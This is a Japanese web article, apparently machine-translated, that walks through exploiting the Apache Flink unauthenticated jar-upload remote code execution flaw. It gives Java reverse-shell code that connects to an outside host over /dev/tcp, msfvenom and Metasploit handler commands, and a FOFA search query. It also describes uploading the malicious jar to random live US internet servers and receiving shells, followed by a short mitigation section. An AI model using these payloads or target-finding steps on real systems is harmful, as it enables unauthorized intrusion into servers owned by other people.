目次
環境設定:

jar パッケージの作成手順:
ホームページ 運用・保守 安全性 Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例

Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例

May 15, 2023 pm 01:01 PM
flink 瓶パッケージ

脆弱性の説明:

2019 年 11 月 11 日、セキュリティ エンジニアの Henry Chen は、Apache Flink が承認なしに jar パッケージをアップロードし、リモートでコードが実行される可能性がある脆弱性を公開しました。 Apache Flink ダッシュボードはデフォルトで認証なしでアクセスできるため、悪意のある jar パッケージをアップロードして悪意のあるコードの実行をトリガーすることでシェルを取得できます。

影響範囲

<= 1.9.1 (最新版)

環境設定:

(1) インストール事前に適切な java (java8 以降が必要)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) flink-1.9.1

ダウンロードアドレス: https://www.apache .org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) ダウンロードした圧縮パッケージを解凍します:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
ログイン後にコピー

( 4) 解凍されたディレクトリに移動し、その bin ディレクトリに移動します。

apache flink任意jar包上传导致远程代码执行的示例分析

(5) flink を開始します:

./start-cluster.sh
ログイン後にコピー

(6) ブラウザ アクセス検証 (デフォルトのポートは 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##上記の図が表示され、確立は成功です。

(7) 起動時の自動起動を設定する(ここで長い間苦労しているのですが、立ち上がれません。source /etc/rc.d/rc.local から直接起動できますが、flink では起動できません)再起動しても起動せず、ようやく解決策を見つけました)

apache flink任意jar包上传导致远程代码执行的示例分析起動時の自動起動設定

脆弱性再発:


jar パッケージの作成手順:

( 1) Java を使用してシェルをリバウンドする方法については、記事 https://klionsec.github.io/2016/09/27/revese-shell/#menu を参照してください

apache flink任意jar包上传导致远程代码执行的示例分析IP とポートを変更することを忘れないでください:

apache flink任意jar包上传导致远程代码执行的示例分析コード:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p></p>
<p>## b. 次に、「java-->Runnable JAR file<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p></p>
<p>」を選択します。c. 次に、対応する Java プロジェクト、エクスポート パス、およびエクスポート ファイル名を選択します<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p></p>##図 <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析">これはリバウンド シェルの jar パッケージを生成します</p>
<p>msf は jar horse を生成します:</p>
<p>(1) msfvenom を使用して jar を生成しますhorse:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
ログイン後にコピー

(2) msf のリッスン モジュールを開き、ポート 9999 をリッスンします (jar horse によって設定されたポートと一致するように)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
ログイン後にコピー

# #(3) 生成した jar ホースをアップロードして送信した後 (一部の操作については、以下の再現を参照してください)、シェルを正常に受信したことがわかります:


apache flink任意jar包上传导致远程代码执行的示例分析ローカル複製:

(1) アクセス ターゲット: apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit New job] をクリックして、jar をアップロードするためのページを開きます。パッケージ:

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) [新規追加] をクリックして、作成した jar パッケージを選択します:

apache flink任意jar包上传导致远程代码执行的示例分析

#(4)マシン上のポートを監視します (作成した jar パッケージはシェルを直接再バインドします)

(5) アップロードしたばかりの jar パッケージをクリックします: apache flink任意jar包上传导致远程代码执行的示例分析

(6) 次に「送信」をクリックすると、シェルを正常に受信したことがわかります:

apache flink任意jar包上传导致远程代码执行的示例分析

インターネット サイト:

fofa キーワード:apache flink任意jar包上传导致远程代码执行的示例分析

"apache-flink-dashboard" && country="US"

(1) ランダムなターゲットを見つけます:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit new Job] をクリックすると、jar パッケージをアップロードできることがわかります

apache flink任意jar包上传导致远程代码执行的示例分析

(3) flink の機能を使用して、jar パッケージをアップロードします。

apache flink任意jar包上传导致远程代码执行的示例分析

(4) アップロード後、 vps 上のポート

を監視します (5) 次に、ブラウザに戻り、アップロードした jar パッケージを選択し、[送信] をクリックして送信します。vps がシェル# を正常に受信したことがわかります。

apache flink任意jar包上传导致远程代码执行的示例分析

##脆弱性の修正:


ホワイトリスト IP のみが Apache flink サービスにアクセスできるようにファイアウォール ポリシーを設定し、これをWeb プロキシ (Apache httpd など) サービスのダイジェスト認証。

常に公式 Web サイトに注意を払い、新しいバージョンやパッチの更新を待ちます

以上がApache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Eclipseにjarパッケージをインポートする方法 Eclipseにjarパッケージをインポートする方法 Jan 12, 2024 pm 03:45 PM

Eclipse に jar パッケージをインポートする方法: 1. 新しい Java プロジェクトを作成する; 2. ライブラリ フォルダーを作成する; 3. jar パッケージをライブラリ フォルダーにコピーする; 4. プロジェクトのビルド パスを構成する; 5. jar パッケージをビルド パス; 6. プロジェクトのビルド パスの構成; 7. インポート結果の確認; 8. 注意事項; 9. その他のインポート方法; 10. クリーンアップと更新; 11. ライブラリのメンテナンスと更新。詳細な紹介: 1. 新しい Java プロジェクトを作成し、Eclipse IDE を起動し、上部のメニュー バーの [ファイル] メニューなどを選択します。

Mavenにjarパッケージをインポートする方法 Mavenにjarパッケージをインポートする方法 Jan 08, 2024 pm 01:59 PM

Maven が jar パッケージをインポートする手順: 1. jar パッケージをダウンロードする; 2. Maven プロジェクトを作成する; 3. 依存関係を追加する; 4. 依存関係要素を追加する; 5. pom.xml ファイルを保存する; 6. プロジェクトをビルドする; 6. 依存関係を追加する7. インポートを確認します。詳細な導入: 1. jar パッケージをダウンロードします。まず、関連する Web サイトまたはソース コード ウェアハウスから必要な jar パッケージをダウンロードします。ダウンロードした jar パッケージがプロジェクトと互換性があり、必要なバージョン要件を満たしていることを確認します。2. Maven プロジェクトを作成します。 Maven プロジェクトがまだない場合は、まず Maven プロジェクトを作成する必要があります。

Spark Streaming と Flink の比較 Spark Streaming と Flink の比較 Apr 19, 2024 pm 12:51 PM

SparkStreaming と Flink はどちらも、異なる機能を持つストリーム処理フレームワークです。 プログラミング モデル: SparkStreaming は SparkRDD モデルに基づいていますが、Flink は独自のストリーミング API を持っています。状態管理: Flink には状態管理が組み込まれていますが、SparkStreaming には外部ソリューションが必要です。フォールト トレランス: Flink はスナップショットに基づいていますが、SparkStreaming はチェックポイントに基づいています。スケーラビリティ: Flink はストリーム オペレーター チェーンに基づいていますが、SparkStreaming はクラスターのスケーリングに基づいています。リアルタイム データ集約のユースケースでは、Flink の方がスループットが優れているため、一般的に SparkStreaming よりも優れたパフォーマンスを発揮します。

Go 言語で Flink を使用して効率的なデータ フロー処理を実現する Go 言語で Flink を使用して効率的なデータ フロー処理を実現する Jun 15, 2023 pm 09:10 PM

ビッグデータ時代の到来により、データ処理はさまざまな業界で注目され、解決される必要がある問題となっています。高性能データ処理ツールとしての Flink の登場により、効率的で信頼性が高く、スケーラブルなソリューションが提供されます。この記事では、Go言語でFlinkを使用して効率的なデータフロー処理を実現する方法を紹介します。 1. Flink Apache の概要 Flink は、オープンソースの分散データ処理プラットフォームであり、その目標は、大規模なデータを処理するための効率的で信頼性が高く、スケーラブルな方法を提供することです。

Maven 上級チュートリアル: Jar パッケージのインポートのさまざまな方法の詳細な調査 Maven 上級チュートリアル: Jar パッケージのインポートのさまざまな方法の詳細な調査 Feb 23, 2024 pm 02:57 PM

タイトル: Maven Advanced Tutorial: Jar パッケージのインポートのさまざまな方法の詳細な探索 Maven は、Java プロジェクト管理ツールとして、プロジェクトの構築、依存関係の管理などに広く使用されています。実際の開発プロセスでは、さまざまなサードパーティ ライブラリの Jar パッケージを使用することが多く、Jar パッケージを効率的にインポートする方法は習得しなければならないスキルとなっています。この記事では、Maven に Jar パッケージをインポートする方法 (ローカル Jar パッケージ、リモート ウェアハウス Jar パッケージ、カスタム Jar パッケージの使用など) を詳しく掘り下げ、具体的な詳細を示します。

MySQL Jar パッケージの使用ガイドと注意事項 MySQL Jar パッケージの使用ガイドと注意事項 Mar 01, 2024 pm 04:21 PM

MySQL Jar パッケージの使用ガイドと注意事項 MySQL は一般的に使用されるリレーショナル データベース管理システムであり、多くの Java プロジェクトではデータ ストレージのバックエンドとして MySQL が使用されています。 Java プロジェクトで MySQL データベースと対話するには、MySQL が提供する Java ドライバー (つまり、Jar パッケージ) を使用する必要があります。この記事では、MySQL Jar パッケージの使用ガイドラインと注意事項を紹介し、読者が MySQL ドライバーをより効果的に使用できるように具体的なコード例を示します。 1.M

Jar パッケージを Maven プロジェクトに正しくインポートする方法に関するガイド Jar パッケージを Maven プロジェクトに正しくインポートする方法に関するガイド Feb 19, 2024 pm 12:00 PM

Maven 入門ガイド: Jar パッケージを正しくインポートするには? Maven は、開発者がプロ​​ジェクトの依存関係を管理したり、プロジェクトを構築したりするのに役立つ強力なプロジェクト管理ツールです。プロジェクト開発中、一部の機能を実装するために外部 Jar パッケージをインポートする必要があることがよくあります。この記事では、Maven を使用して Jar パッケージを正しくインポートする方法を紹介し、具体的なコード例を示します。まず、Maven の pom.xml ファイルに必要な Jar パッケージへの依存関係を追加する必要があります。 pom.xml には、

MySQLのJarパッケージとは何ですか?詳細な分析 MySQLのJarパッケージとは何ですか?詳細な分析 Mar 01, 2024 pm 06:33 PM

MySQL の Jar パッケージとは、MySQL データベースに接続して操作するために使用される Java ドライバー パッケージを指します。 Java開発では、MySQLデータベースとの連携機能をJarパッケージで実装する必要があります。 MySQL の Jar パッケージは、開発者が MySQL データベースに簡単に接続し、SQL ステートメントを実行し、クエリ結果を取得し、その他の操作を行うことを可能にする一連のクラスとメソッドを提供します。通常の状況では、開発者は公式 Web サイト、Maven リポジトリ、その他のチャネルを通じて MySQL Jar パッケージをダウンロードできます。

See all articles